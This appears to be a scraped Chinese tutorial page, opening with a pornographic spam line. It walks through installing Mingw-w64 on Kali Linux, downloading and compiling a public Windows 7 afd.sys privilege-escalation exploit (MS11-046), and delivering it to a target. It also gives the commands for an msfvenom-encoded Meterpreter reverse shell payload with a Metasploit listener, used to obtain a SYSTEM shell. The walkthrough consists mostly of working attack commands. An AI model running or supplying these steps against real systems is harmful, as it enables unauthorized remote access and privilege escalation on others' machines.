欧美bbbwbbbw肥妇,免费乱码人妻系列日韩,一级黄片

在Kali Linux上編譯Windows漏洞的方法

  發(fā)布時間:2017-03-30 16:19:26   作者:佚名   我要評論
在本教程中,我們將討論如何使用Mingw-64在 Kali Linux上編譯Windows漏洞。 讓我們開始在Kali Linux上安裝Mingw-w64。有需要的朋友可以參考下

如何在Kali Linux上編譯Windows漏洞!

Mingw-w64是一個用于創(chuàng)建Windows應(yīng)用程序的自由和開源軟件開發(fā)環(huán)境。 Mingw-w64最初叫Mingw32,它當時不支持64位架構(gòu)。在本教程中,我們將討論如何使用Mingw-64在 Kali Linux上編譯Windows漏洞。 讓我們開始在Kali Linux上安裝Mingw-w64。

Mingw-w64是一個用于創(chuàng)建Windows應(yīng)用程序的自由和開源軟件開發(fā)環(huán)境。 Mingw-w64最初叫Mingw32,它當時不支持64位架構(gòu)。

在本教程中,我們將討論如何使用Mingw-64在 Kali Linux上編譯Windows漏洞。 讓我們開始在Kali Linux上安裝Mingw-w64。

1、在Kali Linux上安裝Mingw-w64

默認情況下,Kali Linux 2016.2和更低版本上未安裝Mingw-w64。 因此,我們需要先安裝它,然后才能在Linux上編譯Windows漏洞。 執(zhí)行以下命令,安裝Mingw-w64:

apt-get update  apt-get install mingw-w64    

 使用apt-get install mingw-w64在您的Kali主機上安裝mingw-w64。

使用apt-get install mingw-w64在您的Kali主機上安裝mingw-w64。

鍵入y為yes,以確認并繼續(xù)Mingw-w64安裝過程。 下載和安裝Mingw-w64可能需要一段時間才能完成。

2、無法找到程序包mingw-w64的解決方法

有時,你嘗試安裝mingw-w64包時得到一個無法找到包mingw-w64的錯誤,并得到類似如下提示:

root@kali:~# apt-getinstall mingw-w64  Reading package lists…Done  Building dependency tree  Reading stateinformation… Done  E: Unable to locatepackage mingw-w64  

要解決這個問題,請確保在sources.list文件中具有正確的存儲庫。您可以使用nano編輯文件:

/etc/apt/sources.list

確保您在此文件中具有正確的存儲庫。 您可以在以下頁面上找到不同版本的Kali Linux的存儲庫:

http://docs.kali.org/general-use/kali-linux-sources-list-repositories

使用sources.list文件中的正確的存儲庫,您需要運行apt-get update,然后再次運行Mingw-w64軟件包的安裝命令。

3、用Mingw-w64交叉編譯Windows漏洞利用

現(xiàn)在我們已經(jīng)安裝了Mingw-w64,可以開始編譯Windows漏洞利用程序了。 對于本教程,我們將編譯一個用C編寫的Windows漏洞利用程序,以利用Windows 7 SP0 x86中的CVE-2011-1249(MS11-046)漏洞。 此版本的Windows操作系統(tǒng)在輔助功能驅(qū)動程序(AFD)中包含一個漏洞,允許已認證的非管理用戶提升權(quán)限。即使Mingw-w64是為非常需要的64位支持開發(fā)的,我們也可以編譯32位Windows漏洞。 讓我們來看看如何編譯32位Windows漏洞。

讓我們從Exploit-db下載漏洞:

wget --output-document= 40564.c https://www.exploit-db.com/download/40564

使用以下命令編譯Windows 32位的afd.sys exploit:

i686-w64-mingw32-gcc[input file: source]–o [output file: .exe]-lws2_32

以下命令將編譯Windows 7 afd.sys特權(quán)升級漏洞:

i686-w64-mingw32-gcc 40564.c –o exploit.exe –lws2_32  

編譯Windows漏洞。

編譯Windows漏洞。

要將漏洞利用程序轉(zhuǎn)移到目標主機,我們將使用內(nèi)置的ApacheWeb服務(wù)器來提供它。 最后2個命令會將exploit復(fù)制到Apache主目錄并啟動Apache Web服務(wù)器。

當我們從cmd.exe下載并執(zhí)行該漏洞時,它將如下所示: 

漏洞利用成功執(zhí)行。

漏洞利用成功執(zhí)行。

因為我們可以看到whoami命令在執(zhí)行exploit之前返回一個普通用戶權(quán)限,之后顯示是system用戶權(quán)限。這個exploit實際上在當前shell中生成一個新的shell,而不是在新窗口中創(chuàng)建一個新的shell。這意味著我們也可以從命令行shell運行此漏洞利用程序,例如Meterpreter。讓我們看看如何從Meterpreter會話運行漏洞利用。

4、利用編譯錯誤

當編譯針對不同架構(gòu)和操作系統(tǒng)的漏洞時,可能會發(fā)生許多錯誤。有很多因素可能導(dǎo)致編譯失敗,例如:語法,庫,主機和目標體系結(jié)構(gòu),用于編譯代碼的已安裝軟件等等。一些錯誤可能很容易修復(fù),有些錯誤則不是。同樣重要的是不同的警告來自致命的錯誤,因為警告可能只是指示一些類似的過時的功能,不能阻止漏洞的工作。致命錯誤會阻止漏洞利用,因此需要修復(fù)。

處理編譯錯誤的最佳方法是仔細閱讀,然后在Google上搜索解決方案。通常你不是第一個也不是唯一面對某個編譯錯誤的人,因此沒有必要重新發(fā)明輪子。在線資源(如堆棧交換)通常為您提供最常見的編譯錯誤的可能解決方案。

5、從Meterpreter shell中利用MS11-046

讓我們使用Msfvenom快速生成Windows 32位Meterpreter反向TCP有效負載,并在目標主機上執(zhí)行它。 我們將在Metasploit中使用多處理程序來捕獲反向shell。

使用以下命令使用Msfvenom創(chuàng)建有效負載:

msfvenom -a x86 –platform Windows -p windows/meterpreter/reverse_tcpLHOST=[IP attackbox] LPORT=4444 -e x86/shikata_ga_nai –f exe –o exploit.exe

請務(wù)必更換偵聽主機IP,必要時更換偵聽端口。現(xiàn)在啟動msfconsole并運行以下命令來設(shè)置多處理器漏洞:

use exploit/multi/handler  set lhost [listening host IP]  set lport 4444  run   

在端口4444上啟動反向TCP處理程序。

在端口4444上啟動反向TCP處理程序。

然后下載利用程序到目標主機并執(zhí)行它。 如果一切設(shè)置正確,您應(yīng)該在msfconsole上收到一個反向Meterpreter shell: 

目標主機連接回Kali。

目標主機連接回Kali。

在Meterpreter命令行上運行下一“shell”命令并運行特權(quán)升級漏洞利用程序?qū)hell升級到系統(tǒng)shell: 

特權(quán)升級攻擊通過我們的Meterpreter會話成功執(zhí)行。

特權(quán)升級攻擊通過我們的Meterpreter會話成功執(zhí)行。

正如你可以看到的,shell從特權(quán)測試用戶shell變化到系統(tǒng)shell。 請注意,在執(zhí)行它的shell中生成一個新的系統(tǒng)shell。 因此,我們不能看到利用輸出,因為它是在有限的特權(quán)的舊shell。

您可以通過鍵入Exit來驗證這一點,將退出系統(tǒng)shell并返回到仍包含Windows 7權(quán)限升級exploit輸出的用戶shell: 

特權(quán)用戶shell上的exploit輸出。

特權(quán)用戶shell上的exploit輸出。

學(xué)到的東西

在本教程中,我們已經(jīng)了解了在Linux上針對Windows的交叉編譯漏洞的基礎(chǔ)知識。 我們已經(jīng)學(xué)習了如何在Kali Linux上安裝Mingw-w64并解決最常見的安裝問題。 為了練習漏洞編譯過程,我們編譯了一個針對Windows7 x86的特權(quán)提升漏洞。 這也稱為交叉編譯。

我們已成功的在目標主機上執(zhí)行已編譯的可執(zhí)行文件,并將shell從有限的用戶shell升級到系統(tǒng)shell。 我們已經(jīng)知道,這個特殊的exploit在shell中生成了一個shell,在這個shell中執(zhí)行了exploit。 這樣,我們還可以從命令行(例如Meterpreter shell)執(zhí)行特權(quán)提升漏洞利用。

最后但同樣重要的是,我們已經(jīng)了解了如何在編譯過程中修復(fù)錯誤。

相關(guān)文章

最新評論